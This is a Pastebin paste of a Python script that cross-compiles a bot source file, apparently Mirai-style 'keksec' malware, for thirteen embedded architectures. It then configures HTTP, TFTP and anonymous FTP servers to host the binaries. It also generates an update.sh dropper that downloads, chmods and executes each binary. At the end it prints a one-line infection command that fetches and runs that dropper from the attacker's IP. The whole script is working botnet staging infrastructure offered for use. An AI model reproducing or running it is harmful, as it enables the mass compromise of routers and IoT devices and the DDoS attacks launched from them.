Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Python auto cross compiler by void
- import subprocess, sys
- if len(sys.argv[2]) != 0:
- ip = sys.argv[2]
- else:
- print("\x1b[0;31mIncorrect Usage!")
- print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
- exit(1)
- bot = sys.argv[1]
- yourafag = raw_input("Get arch's? Y/n:")
- if yourafag.lower() == "y":
- get_arch = True
- else:
- get_arch = False
- compileas = ["keksec.mips", #mips
- "keksec.mpsl", #mipsel
- "keksec.sh4", #sh4
- "keksec.x86", #x86
- "keksec.arm7", #Armv6l
- "keksec.x64", #i686
- "keksec.ppc", #ppc
- "keksec.i586", #i586
- "keksec.m68k", #m68k
- "keksec.spc", #sparc
- "keksec.arm", #armv4
- "keksec.arm5", #armv5
- "keksec.ppc-440fp"] #powerpc-440fp
- getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
- 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
- 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
- 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
- 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
- ccs = ["cross-compiler-mips",
- "cross-compiler-mipsel",
- "cross-compiler-sh4",
- "cross-compiler-x86_64",
- "cross-compiler-armv6l",
- "cross-compiler-i686",
- "cross-compiler-powerpc",
- "cross-compiler-i586",
- "cross-compiler-m68k",
- "cross-compiler-sparc",
- "cross-compiler-armv4l",
- "cross-compiler-armv5l",
- "cross-compiler-powerpc-440fp"]
- def run(cmd):
- subprocess.call(cmd, shell=True)
- if get_arch == True:
- run("rm -rf cross-compiler-*")
- print("Downloading Architectures")
- for arch in getarch:
- run("wget " + arch + " --no-check-certificate >> /dev/null")
- run("tar -xvf *tar.bz2")
- run("rm -rf *tar.bz2")
- print("Cross Compilers Downloaded...")
- num = 0
- for cc in ccs:
- arch = cc.split("-")[2]
- if "-440fp" in cc:
- run("./"+cc+"/bin/"+arch+"-440fp-gcc -static -o " + compileas[num] + " " + bot)
- else:
- run("./"+cc+"/bin/"+arch+"-gcc -static -o " + compileas[num] + " " + bot)
- num += 1
- print("Cross Compiling Done!")
- print("Setting up your apache2 and tftp")
- run("apt-get install apache2 -y")
- run("service apache2 start")
- run("apt-get install xinetd tftpd tftp -y")
- run("apt-get install vsftpd -y")
- run("service vsftpd start")
- fh=open("/etc/xinetd.d/tftp", "w")
- fh.write('''service tftp
- {
- protocol = udp
- port = 69
- socket_type = dgram
- wait = yes
- user = nobody
- server = /usr/sbin/in.tftpd
- server_args = /tftpboot
- disable = no
- }''')
- fh.close()
- run('mkdir /tftpboot')
- run('mkdir /var/www/html/bins')
- fh=open("/etc/vsftpd.conf", "w")
- fh.write('''listen=YES
- local_enable=YES
- anonymous_enable=YES
- no_anon_password=YES
- write_enable=YES
- anon_root=/var/ftp
- anon_max_rate=2048000
- xferlog_enable=YES
- listen_address='''+ ip +'''
- listen_port=21''')
- fh.close()
- for i in compileas:
- run("cp " + i + " /var/www/html/bins")
- run("cp " + i + " /var/ftp")
- run("cp " + i + " /tftpboot")
- run("mv " + i + " /var/lib/tftpboot")
- run("cp " + i + " /var/www/html")
- run("cp " + i + " /var/ftp")
- run("cp " + i + " /tftpboot")
- run("mv " + i + " /var/lib/tftpboot")
- run('echo "#!/bin/sh" > /var/www/html/update.sh')
- run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /" >> /var/www/html/update.sh')
- for i in compileas:
- run('echo "curl http://' + ip + '/bins/' + i + ' -O; busybox curl http://' + ip + '/bins/' + i + ' -O; wget http://' + ip + '/bins/' + i + ' -O ' + i + '; busybox wget http://' + ip + '/bins/' + i + ' -O ' + i + '; chmod 777 ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/update.sh')
- run("cp /var/www/html/update.sh /var/ftp")
- run("cp /var/www/html/update.sh /tftpboot")
- run("cp /var/www/html/update.sh /var/lib/tftpboot")
- run("chmod -R 777 /tftpboot")
- run("chown -R nobody /tftpboot")
- run("service xinetd restart")
- run("/etc/init.d/xinetd restart")
- run("service vsftpd restart")
- run("/etc/init.d/vsftpd restart")
- run("service lighttpd restart")
- run("/etc/init.d/lighttpd restart")
- print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
- print("\x1b[0;32m" + 'Your link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/update.sh -O update.sh; busybox wget http://' + ip + '/update.sh -O update.sh; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; chmod 777 update.sh; ./update.sh; rm -rf update.sh\x1b[0m')
- print
- print("\x1b[0;32mCoded By Freak\x1b[0m")
Add Comment
Please, Sign In to add comment